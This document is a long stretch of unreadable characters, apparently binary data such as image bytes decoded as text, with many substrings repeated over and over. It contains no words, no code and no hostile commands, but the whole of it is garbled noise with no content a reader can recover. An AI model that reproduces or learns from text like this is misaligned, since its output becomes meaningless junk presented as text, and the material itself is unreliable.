0K +H ,O +M )L'K&K&L'M)N1H0G 0F.E/D.C/BvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq (<&=%="= ; )5(4)2)1&3 #5"!:%=(6(5&4 &4 %5%4%5%7 -8,7 ,8 +7*6)5 )5)4 )A )?*>,= ,;*7(4%2(:(:(9(7)7)6'5'4$2%3'4(5)6 )6 *6 )5(0&0 %0 '4*:+='=$<'7(7(7 *8 +9+;+=+>+:-;0< /<,9 *7 )7)9 .< /= 0> /? .> .> .@ /@,B/B0A ->+> /F9V%Ad2;["3T/R4V6V4L0C!0>0F0F$.B*0A57FDJTVaidrxdroM_a4OT$FQAO9E/;+7 (H (E (C *B-C3C8F+8*60;3=.7,5-6/9.8,6s}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsM!+=4@.: ,8/;0=-:+9.;%D%D$C$C$C$C#B#B):+=+@+A*@)>+=->(7!*;1,@.-@+:)8&+::.@ B!@#?%;*8-7164503.8-<+A+A-@0=19 5@ 1= -;,:+;*=(=&<(B)@,; .8 .7+:(?&B,7-8.</?0A/C.D-C ?9 <8 95 64 34251617)T*N+E,=.8062627;65608)9(9)9-817I>E>!<;16)4$5 ';+>$<$<#:": %;#'=&+?&,A-;-9.8 /5 /3020301+3(4#7 9 9 7$6&4(3)2,4044421.+++&: (< ,> /? 0> 0<.:lllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorz0S.V3`Ap Ns( y[q#Lp4L~%Ai =`9S6I4D3D3G1J ;Q*=(;$8"7*/*/)0'1%5#8 !;! ;)3(3(3 (4 '5 &6&8$9 ,8 +7 +7 *6 (5 (5 (5'5'@ (> (= );+;+9'5"%3)<)<); *9*8*8)7(5&5'5(5)6)7+7 *8+8-4-4+3 (3%3 #5$8%<+5+4 *4 *4)6 )8*;*</;.: -9*5&3 &4)8*;*?+>+>,>-<.=.<-<-@0?0> -;*; ,B2N7W%+P)N+Q2V4T0H-> /92@/>0>-;HDP\[kunwuRbd*AJ2@.> +<+;.= 'I 'G )F+D/D4E8F9H3@2@0? +> )=)> +C0G5A -8 +52<4=.5*3.51705zry_jd]\XiZo_hni^hdz]o]l^cmoniWK|RuVlVrOZnkڏ}~9ˋ)ˉAƤ6–CB˕[txZlcwaNJ4Iua{`ckkugm]fprMegoufrxpvx{~uzry_jd]\XiZo_hni^hdz]o]l^cmoniWK|RuVlVrOZnkڏ}~9ˋ)ˉAƤ6–CB˕[txZlcwaNJ4Iua{`ckkugm]fprMegoufrxpvx{~uzry_jd]\XiZo_hni^hdz]o]l^cmoniWK9D 2> .:0=1>.;-;0>&C&C%C%B%B%B%B%B,=-A-F-I+G+C,@/@ +;*>.*@,,B*<(8%+<=1E!G"F#B&>(;+8.50506.8-;,>,>-<.;.93@ /> ,;*;+>*@*A(@(E*A,= -: .:+='@%C.6.9/;0>/@.B-B ,B7<6;3;0;.;-;,; +<*Q*L+D->.;1;3>4?<87818*:);*;/;4:!LOAF0;&6#8$; &>&?&>$="<#<$@'C+F.I+@,>-< .; -8-6-5*4)2&5"8:; ;$:'8(4(4+5.50703-.*+&; '; (: )9 *8 +8 ,9 .9xZlcwaNJ4Iua{`ckkugm]fprMegoufrxpvx{~uzry_jd]\XiZo_hni^hdz]o]l^cmoniWK|RuVlVrOZnkڏ}~9ˋ)ˉAƤ6–CB˕[txZlcwaNJ4Iua{`ckkugm]fprMegoufrxpvx{~uzry_jd]\XiZo_hni^hdz]o]l^cmoniWK|RuVlVrOZnkڏ}~9ˋ)ˉAƤ6–CB˕[txZlcwaNJ4Iua{`ckkugm]fprMegoufrxpvx{~uz4Q7XAg!Lup2& vPmEp.I$Ck!@c;T5G2B1C1G4M 6P 8P;O1@2A1@.<*9'6,++-)0&3%7#9#;"<)1*2 *2)3)5 '8&;&=+9+8+9*8)7(6'6&5&@%=%<(;+)=+<,;,9+8 .<.</<.;,<+@,G-K#'O)Q-U0W -M '>(6 .7 281:5?)AK=T_Ojt[y_`ooAQU2>'7%8#:&;$*? &H (H*H,H/F3G5F6E9@6?2; -7 *6+8 1>5C8D .9 +64?5>,4)0.544g}hxvwcji^aZhXl`gemh}ikkqUhVfWiPjoP{RsXuQqSzTGoލ ̀$̉,Ӓ9[orfjj_mfV_hJJadR~R{?ڊ9Vnina`}jXo[Jua|~{kskqu}|}og}hxvwcji^aZhXl`gemh}ikkqUhVfWiPjoP{RsXuQqSzTGoލ ̀$̉,Ӓ9[orfjj_mfV_hJJadR~R{?ڊ9Vnina`}jXo[Jua|~{kskqu}|}og}hxvwcji^aZhXl`gemh}ikkqUhVfWiPjoP{RsX4@ 0<1>1>.;-;0>'?'?'?'?&?&?&?&>.<.B.I,N*K*F-A/> +@&>&&@$)A(> %8&;2,D"K"I#F$@'<)8 +6 .5-7-8,9,;,;-;-;.;0A->*<(=*@+C-D,F'F)C,> .< -;*>(B%E+3+6.9.=0A0A .C -C-?.@,@!+B&)B)&B,%A.#B'H(F)A,>0?4C7H9M=89819+;+<.=3>7>?X6O)E"@!@#B %B&A (?&?#?">$B)F-K1N)E+D+B ,A +> +;(8'8.;+<&=!??!=$<&9(9(8(7+9-9.8+5)2%;%;&9&9(8)8+9,96:adR~R{?ڊ9Vnina`}jXo[Jua|~{kskqu}|}og}hxvwcji^aZhXl`gemh}ikkqUhVfWiPjoP{RsXuQqSzTGoލ ̀$̉,Ӓ9[orfjj_mfV_hJJadR~R{?ڊ9Vnina`}jXo[Jua|~{kskqu}|}og}hxvwcji^aZhXl`gemh}ikkqUhVfWiPjoP{RsXuQqSzTGoލ ̀$̉,Ӓ9[orfjj_mfV_hJJadR~R{?ڊ9Vnina`}jXo[Jua|~{kskqu}|}og}hxvw;NAYHd ]v'm'yqRp#Lx#P!Ai?b.;,:,:+9)9)8(8'7%A$=#;&;*<&*;-&7.#3'<(< );+9 +8*7(7(5'6'5'6(5)6*7+8+836486;9?8B3A*:#6*,+/.3 /6 0:/=.?,@0</;.9 *6 '4&4(9$*; &B%?%>&< );!+; +8*5-; .:/90;.=,A)D(F"#M&P+T ,S&G!8&4"/7/0 596>+3(/-3h]~`q{hlseg]eVgilYrrml~ecjbmS4zIvT{OGOU;l#׍ލ)̊=ĘeZr_n~_vtlvzfYaoVdeÚN{K݅CӋEͅG͇]DyNmc{~ut}}~wh]~`q{hlseg]eVgilYrrml~ecjbmS4zIvT{OGOU;l#׍ލ)̊=ĘeZr_n~_vtlvzfYaoVdeÚN{K݅CӋEͅG͇]DyNmc{~ut}}~wh]~`q{hlseg]eVgilYrrml~ecjbmS4zIvT{OG 1<1=1=-:,:0>)>)>)>)>(=(=(=(= -<-B.J+N*M *G +A .< +C$? ">&@ &="7#:*)C#N#K$G%B&= )8 )6 +5+5+5+6-8-:.;.<.=.A+?)<'<*@.D.G0H'F)C,> /;.<+>(B%E(1)2+7.</?1B0D0D&@'C#(D)'F.&G2#G4 F6D$A&?'>+=1@6I;Q>W=89929,<+=/?6A:A1Y,U&N"J!G#F $D&C)@ '?#?"A#D(I .N 1R)I)I*G +D *B (?&<%;#4A!1B+C%D!B!?#<%9&;%8%8&9)9*9)8'5$;$;&:':)9)9+9+8=?*QOdeÚN{K݅CӋEͅG͇]DyNmc{~ut}}~wh]~`q{hlseg]eVgilYrrml~ecjbmS4zIvT{OGOU;l#׍ލ)̊=ĘeZr_n~_vtlvzfYaoVdeÚN{K݅CӋEͅG͇]DyNmc{~ut}}~wh]~`q{hlseg]eVgilYrrml~ecjbmS4zIvT{OGOU;l#׍ލ)̊=ĘeZr_n~_vtlvzfYaoVdeÚN{K݅CӋEͅG͇]DyNmc{~ut}}~wh]~`q{hl@NDVL_ GwM` W =] 5_0e=e>a=W:M6G1D0G 0J/Q 3O7K9G8G.O.O$.N8C9J9R 6W3U/O 0I0E:>8A5E1K,R)Y&^$^/K/J-IX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlp\cYgipYwbml{gklzX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlp\cYgipYwbml{gklzX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWw.516 /6/6.7#.6#.4 .3.2946422.2+3)2(4)4 +- *.*1(4&9$<#?$?,7 59=9=55,,+).(5 )6 )8&<$=$< &7#'2%)/+:+9 ,6-5 ,4+5/*5>)6&?&=&:&7(7*6.606,-12486<4<1<1>2@,5+9*? *A +@.<0611++2%+2+2)2(4'5%7$9./,1)7'>&D%K&P&R /V4T9L6< 1,3+:+B2;54; -E )O)Q ,I .;./ );*8-4.3183A5L5R2@0?,@)A&D#G#J"K472:1@2A4A8;=4?0 A=:9.6'7(:*:+7+4)2(2(+:71E90E,&>#!Nq[qxvt~ykcgd|knlp\cYgipYwbml{gklzX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlp\cYgipYwbml{gklzX`B{G?9__/F1C6?;89-*9)9+8+6,5.403/3,7 .: .: +7+91?1@.<'C&A$@#?#?$@&B(DN L $G &@ ):*3+.!+,+6 -7 .9 -7 +6 +60;4?1.B*+?)<)8)7+8.;0=)I)G'B($=2!8.#4(1 +1 (. )0 ,1/213 21 21 31!(A!(A!(A!(A!(A '@ '@ '@<;4 <$$=*@.@1B1B1B@A 6:17/; .=+</A7J!0A!.E+G'F&@ &9+20/&G)<+5.9*A&D &@ );1<0<.:.9,7 +6 +6 +6(5F&2C"/>*8'4&1%1&0.61<3?0?*< &9%<&=,2 )< #JSRF#9'/14CKOl^`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlp\cYgipYwbml{gklzX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlp\cYgipYwbml{gklzX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlLO?e5A4E1K-Q*W'[&]1L/Jucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus_}SAGwU{l|yvnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus_}SAGwU{l|yvnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus.7.6-6-6!.6.40414846413-3)3(5(5(6 +. +0 )1'5'7&<$=#?/<5<::955...,2*6 )7(9&<$=$<&8!(2#)/ *:+: +7-6.5 ,63+7@+9'@'?';'8)7+6.61701345:4:2:/:0=2@,8+; *A *E +D.@/:16(,6"+6,5*6 )7(8%:$<01 .4+9)>)F*N+U-W.S4Q8J6>21 3, 92 B:>87= -E (M (M ,G ,9-/-;+7+2*0*2*8 *@)E+=*=)>&>%@&D&E&H09.=.A.D0B4<77:2;;47,4)6)9+9*8)4-6*6&+93.A5+C,&>vnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus_}SAGwU{l|yvnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus_}SAGwU{l|yvnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞY /E 4@ 79 4.):*;*9,7-7.5/4/4 1= 4?2> ,9+8.<-<*8&=&=%<$<$<%<&>'?#F$E 'A )=)8)3*/ *. +5 ,7-8 +7 *5*6.91=%()G)D'A($=2!8.#5&2+1 *2,3/5163645 43 43!*>!)>!)>!*> )= )= )= )=5!=-#= &<)<,=.?/B1B ?@ 79180<.;)9+=2C,@+B)E%B #=%6*1./'9 *10,22/:)< +9051=1=/;/9.9.9 /9 .90A.?+;)7&4'3(2)3,;.?2A/?*: &7 &6)9 /1,:'H#P!P$G*9.22<MOUakuj\fus_}SAGwU{l|yvnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus_}SAGwU{l|yvnecbitpl|lwfnejkkcvVnUyQt~j~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\fus_}SAGwU{l|yvnecbitpl|lwf;]8c2l0q2o 5c 8U:K 8W 9R8K8F 6D 3G1L.P .K3Q#8Y'9]"9[.O/N /N3@4E 2I0L-K.I 0I 3I5@4B2E/J-O+T*W )X1M/J~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>+7+7*7+6-60736 47654605,5)5'7'7'7 +0 *1 )3(6'7&:%=$=!1@2>59453213 .4 -6)8(:'=%@%='9)4*1"*:*9+7-7.7$.85.:@/<)B)@(=):*8,7/71846585918,7 +8.<2@+:+> +E +K ,K.G/B1=&-9-:,:,: *;(='?&? 37 17.;,?+G!/N!2V"4Z.K!3K&6I%4@18259:?@A>8@.C 'H &H )B +9 ,1 ,7,5*1'/&/ &5':'> &> &= &< &<&=(?)@+B#*="*@"*B!)C*B->/:172:.6 +3+5-9-;*9'6-6*5#)7-)=.'>)#=mdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_x2K2E5@36(=)<*<+:,8/707067B9E7B.;*7*8)7%4&7&7'8(9(9(9'8'7);): +9 +7+5*3)2)2)5+7,7+7(4(5+7.:%7$6#5#4$5(8(+<,,>)E)B&@($<2"70"4!&4)2.8/7193:5:475645,:,:,9,9,9,9+8+8)(>#'=(<)9*:,;-=!/@ << 794:3=!0=+;+;-?*@*A(B'@ %;'5+3/2 )/,,3,725=2> 478//;.:.:.9.9.:0:1;,= +< )8 '6 '5)5*6,6)A,C0E/A+: (4 )2+43-06-B*J)J -D"3:$64=CSVI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvisisapdxXwT}wMwjrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp[onTN>;UQbwPDLg|smdY^^gg|pvkvi"5R#5[!5d3i2d4Z 7N;F6S 6O 6J 6F 5F 4H 3M 3P 6F6N4Y1^/\/O/N0N6F7G4H 1H/G.F1I 3K#1B!1D/F/I.M -P ,R+S2M~fudwjp~4ސ"تקלҜ.[fhv7596ɝECTqa]?g|crRhP_jwmUnUVԍMV{yVwaiytowoi[[`^fgqvmpgsiuehksfzaqpjsg~fudwjp~4ސ"تקלҜ.[fhv7596ɝECTqa]?g|crRhP_jwmUnUVԍMV{yVwaiytowoi[[`^fgqvmpgsiuehksfzaqpjsg~fudwjp~4ސ"تקלҜ.[fhv7596ɝECTqa]?g|crRhP_jwmUnUVԍM)7)6*7-718 486:4827.7)7'8&8%:&: *2 )3)5(6(8&:&;&=*2B$/=-7.5/5 16/5-3)9';&>$@%>';)5+2 ):*:+8-8/8&/:31<=2>+C+B*>*:+9-80728473818,5)5 *8/>3D,;,A ,H ,O-Q/M/G0D#/=/>.>-> ,@)A(B'C5;3:/;,=,B/I!2P#5S!+C&.D,2E,1B&.=/;6>(<$%9/"8/$5#'5)5.:.:1;2:4:492726.6.6.6-5-5-5-6-5*:+;,;,;-:,:,:,966 575:!4>$3A 0A/?/@*B+C+C*@ *<,909 39 )4*,/,6= ;M:N7A 52/;.:,8,7,7.90:1< .A,@*<)9(7 )7 *8 ,8&E+H.F.B,9 )2 +/-/3,11/;.D .E#2@&79);5@FrRhP_jwmUnUVԍMV{yVwaiytowoi[[`^fgqvmpgsiuehksfzaqpjsg~fudwjp~4ސ"تקלҜ.[fhv7596ɝECTqa]?g|crRhP_jwmUnUVԍMV{yVwaiytowoi[[`^fgqvmpgsiuehksfzaqpjsg~fudwjp~4ސ"تקלҜ.[fhv7596ɝECTqa]?g|crRhP_jwmUnUVԍMV{yVwaiytowoi[[`^fgqvmpgsi46U4:a.:e 6]4P 7G :C4M3M3J 3I 3I5J5M 6N ;B8K1X+^'[/O1O1O%> (5 )6)6(7(7'8(9(9)1@",=)9(8 )8,6,5,2';'=%@$B&@(;*6,3*:+:,8,7.8!2:,3=45?+D+B+>*;+9.808280507-5)5 '5 )90A5H-;-@ .J .Q /T.Q/L.F"1>0?/? .?,A*B(C 'E5=2<.:,:*<,@-E /G#';)*@-+B-,B(+?,>2@6A">B7?,='=&>(>*9*6-- +-*1)5*9/=5A 7C6J4H1C/>-;,8,7,5+#A)$@&%@!&@&?'@&B&C(E+@1999=>:B0C'C,6.;(0A/.Csmogcd`iqjoqnghoglovufuwki}c}j{hld=1ʠ.AQ}C˚6smO};l"|,'}{/v-o+`ua|qcd_t]^ajyTlnQ΄YۇNZ|z|W\h~h{smogcd`iqjoqnghoglovufuwki}c}j{hld=1ʠ.AQ}C˚6smO};l"|,'}{/v-o+`ua|qcd_t]^ajyTlnQ΄YۇNZ|z|W\h~h{smogcd`iqjoqnghoglovufuwki}c}j{hld=1ʠ.AQ}C˚6sm(4E,7B&D&C)C*A,?/=0= 1=9D+;(:&'9,&91&:*<*;*9&8*$7,$7 '6*6+;,;.</;0:0807/6.6.6.5.6.6-5-5-5*5,7.: 2 6A*F&<)=3R>i?i7R/<5@2>0</:.9/;2=4>1H /E ,A*>(:'8 (9 )8'E+H/F.A+8 )1 *.-/ 0,00080@1A!4>"78%:5|qcd_t]^ajyTlnQ΄YۇNZ|z|W\h~h{smogcd`iqjoqnghoglovufuwki}c}j{hld=1ʠ.AQ}C˚6smO};l"|,'}{/v-o+`ua|qcd_t]^ajyTlnQ΄YۇNZ|z|W\h~h{smogcd`iqjoqnghoglovufuwki}c}j{hld=1ʠ.AQ}C˚6smO};l"|,'}{/v-o+`ua|qcd_t]^ajyTlnQ΄YۇNZ|z|W\h~h{smogcd`iqjoqnghog=Bb4Ab"8X2J 4C 9D3J3J1K 1J 1J 3L 7L 7M;@7I 0T )[ %X0O1O2O>Q>O=K:F5D 1D0I0L.H.G.G.G.H/H .Ho}dugprhEoBcIb[\fKt>kp;qMЖ,J@UmFakp;qMЖ,J@UmFakp;qMЖ,J@UmFa$@$A (8 (8(7)8(8)8)8)8/=->)>'> %; '8 )4 +3'<'>%A%D'A )> +8/4,:,:,8-8/82:!5<%6>,D+B*>*:+8,7/606,4-6,6)5 '6 );/A4I/6 /= /G 0P /T/Q.L-G"2<1=0>/>,>*A)A%'C2=1< /9 ,8 +8*9*;+="%;''>+(B*)C$)B,?/< 3;6=1;*9';)>+>,;+:2, /.+3(7):-< 2=6=>I/;,8+7*7'$?%&=!(;*;*;)@(D 'F'N+F5<=9B<=C1F'F0;!5B.7IpÒrǒjge``amvslsrmtdeyqoo}dugprhEoBcIb[\fKt>kp;qMЖ,J@UmFakp;qMЖ,J@UmFakp;qMЖ,J&1;%G&F(F*D,B /A 0A 1?8C=J=J4A+8*8*9*9):*;->/A0A.?,=*;!)5*5*6+6*6)7'8'8+7-9/;.:*6'4'3(5(2D#1C /A->*<)9$'8&'8,8,8+7(6#&7%%7(8*8'8):+;-;/;/9.8.6,8,8,8,8,8+8+7+7*2,5 09%4<$7?7<7:6863897;4<#2?#4C2A.>$D(C,A /</92;5A 7F1Y /T 2Z>p!F!E=g6N#=I:F6B3>2=2=5?6A1L/I,E(@%<%;&9&:)A,C/E/A*9 '3 )1+3-- 033<5C5C5@5:niiUb]iwYgcnxU~pMrmLnyV]Mj`~[fz`m~pÒrǒjge``amvslsrmtdeyqoo}dugprhEoBcIb[\fKt>kp;qMЖ,J@UmFakp;qMЖ,J@UmFaRBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|F+:,9-9.9/7 ,<*<(<%="?!A"B"C '9 '9'8)8)8)8*7*70;0@.F)F$?#9'7,6'<&?%C%D 'C)>,9/5 .; -: -8 .7 /6295:6<,D+A*=*9 *7+6.5/5,5-6,8+7(7 (:+@0D 02 1: 1E 2N 0R /O-I+E%2; 2;1:/;-<+=#)?('A/;/: /9 -8 -8,7,8,9!&?#'A''E%)G *D,> /926-7+5(6*9->.@-?,= 7-20-5*9);-;2:68 @< =< 8< 4: /9,;*;)<"'<)9,6/608 />,D,J%T*J5<>7B8;?/E#H.94B+6Gg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑.0%J&I'H*F,E /C0C2B:E@L@L5B+9)7*9*9'?(@*B,D,D+C)A'?$$> &<'<(;(;(8'8'8 .90;2=0<,8 (4(3(4(+?%,?,>,<+;*9*8)9-5 -5 ,6*5'6'7(8 +9&9':*;,<.</;/;/9*<*<*<*<*<*<*<*<,2-4#/6&28"6;;>A? D@IFJI&EI&;C%5@#5B2B,<$G)E .@ 2<4:6> 9F :L7`=e!Hu'P(N$IErE_'@L#>I7D3?/;/;1<2=*H(G&B$?#<$<$=&>+:.?0A/?*: &6 &6'8-51< 7D:J:J7F4AtR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{mlshkfrqd=}JXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zMwNqQW|Fdi_fz^]wtjg„i][[^`ao~uthr{x{m7P4L 1I 2J 3J 8F 5I 2L -O -O0L2H5E"-K0M3O2N1L1P1O3P2H5G9D9@6? 1A-G-K.J-G-G-F.F.D|g}j[Ldom^Whmoi^kzg[whkvrfsMe?!΀̀DŽ#Ń-8~_lwW]Qh``vaarGdo{xTtyr|\|Tr~R^Kdf`}f{`^|cyfzc~c~aZVZdfssjoojjkppjr|g}j[Ldom^Whmoi^kzg[whkvrfsMe?!΀̀DŽ#Ń-8~_lwW]Qh``vaarGdo{xTtyr|\|Tr~R^Kdf`}f{`^|cyfzc~c~aZVZdfssjoojjkppjr|g}j[Ldom^Whmoi^kzg[whkvrfsMe?!΀̀DŽ#Ń-8~_lwW]Qh``vaarGdo{xTtyr|\|Tr~R^Kdf,9+9+7+7 ,=*=&>$>"?!B"C"D ': ':(:(8*8*7*7*72; 4D3K,J$C!;(9#-8'>&?%C%D 'C*?,9/7/;.:-7.7/6 27 59 6:+C*A *< )9 )7 +5 ,4 .4-6.8/:+9(8 '9 (= +A 20 27 2B 2M 1Q /N,H*B%28!2818/8,9+;&(<,'>,:-8 /909 0909/9!.8 'A"'D%(I$*J,G.?0832(3'2(4+9/?!1B /A,? 8, 4/.6*<+?0? 7=;<=2:36326 .8*;)?)A)9+6/332 362>1E/J$U)J3;=3A4:<+C G (4-/>0</<)?)?)? (? (? (? (? (?!/5#-3&,3&.4!57==HCNG([X1[Z3RV.DK*:D&7E4B,<(L+I2D6? 9> ;B=J@R8]"Fj,W0[(P FHq"Oe&@L!"%?#'A-60;2>/?*< %9 $;%<.<4B :J>Q=P:KQh``vaarGdo{xTtyr|\|Tr~R^Kdf`}f{`^|cyfzc~c~aZVZdfssjoojjkppjr|g}j[Ldom^Whmoi^kzg[whkvrfsMe?!΀̀DŽ#Ń-8~_lwW]Qh``vaarGdo{xTtyr|\|Tr~R^Kdf`}f{`^|cyfzc~c~aZVZdfssjoojjkppjr|g}j[Ldom^Whmoi^kzg[whkvrfsMe?!΀̀DŽ#Ń-8~_lwW]Qh``vaarGdo{xTtyr|\|Tr~R^Kdf`}f{`^|cyfzc~c~aZVZdfssjoojjkpp/I 2L 2M 2M;E7H2M -P+P-L1F3C)(O".N4N8J7I3C-B)C -E -E -D -D-D,D-D-C&W)X,W /U 1NbkslOkmdeZ\_fcqUIuJwM{WzasofyK]cdnNxv^xrZroybe}O[Hbn[urarq`rj^wNBÃnrsT}S{TyLhwZ|Wׇna}fyX{_yb~_a`abddgnrf{cdfbeefd_}^bkslOkmdeZ\_fcqUIuJwM{WzasofyK]cdnNxv^xrZroybe}O[Hbn[urarq`rj^wNBÃnrsT}S{TyLhwZ|Wׇna}fyX{_yb~_a`abddgnrf{cdfbeefd_}^bkslOkmdeZ\_fcqUIuJwM{WzasofyK]cdnNxv^xrZroybe}O[Hbn[urarq`rj^wNBÃnrsT}S{TyLhwZ|Wׇna}f'='(80)3,7,7*6(7(7'9(9(<2,1-// -3+7):'?&@.26:;B7?-6 &1 '3+72,/1+:&@$D&A (=+9*> )= (=(>)?'>":7&A&>';'9(9(<%@$B&'?%)?"*?+?,=*: )7(6.7/91<1@0D/E,D+E $B $C %D%D%E%F&G&G+9*9*:*=)=)@(A(A)D*C+B-@-= -:,8-6 (5 *7-;2?5A5A 5@ 3?5? ,8 +80?0B+> (?+B /<1<.9*4 *1+1#,/(*-",,,.,1,8+=+C+H*I#G'E,D1E3H2I,I'H +9a`abddgnrf{cdfbeefd_}^bkslOkmdeZ\_fcqUIuJwM{WzasofyK]cdnNxv^xrZroybe}O[Hbn[urarq`rj^wNBÃnrsT}S{TyLhwZ|Wׇna}fyX{_yb~_a`abddgnrf{cdfbeefd_}^bkslOkmdeZ\_fcqUIuJwM{WzasofyK]cdnNxv^xrZroybe}O[Hbn[urarq`rj^wNBÃnrsT}S{TyLhwZ|Wׇna}fyX{_yb~_a`abddgnrf{cdfbeefd_}^bkslOkmdeZ\_fcqUIuJwM{WzasofyK]cdnNxv^xr&+=/)=7)?6*@-*A (?'< &D 'A '= ): +6 .4 13 31 )C )C *C +B+B+B,A,B00 /1 .4,5*8)9'<&</4 68<::832(1$5$9 (. (/'2&5'8%;%=%?"G#F%C%A&>':'8(6!=+? 9BCCEB==08'5*?)=,= 4? 8> 571//-//233504.4=DZd6u~j]>xlPD>8 AB:A,7(M6TLeHb ?\JeUi_lW\$`%ZNuAc;X:S7C3>,8(7'7$'9'%9'#8:07215,8 )8(6)(53(39$E*&D*D-D,C)C($B6!B 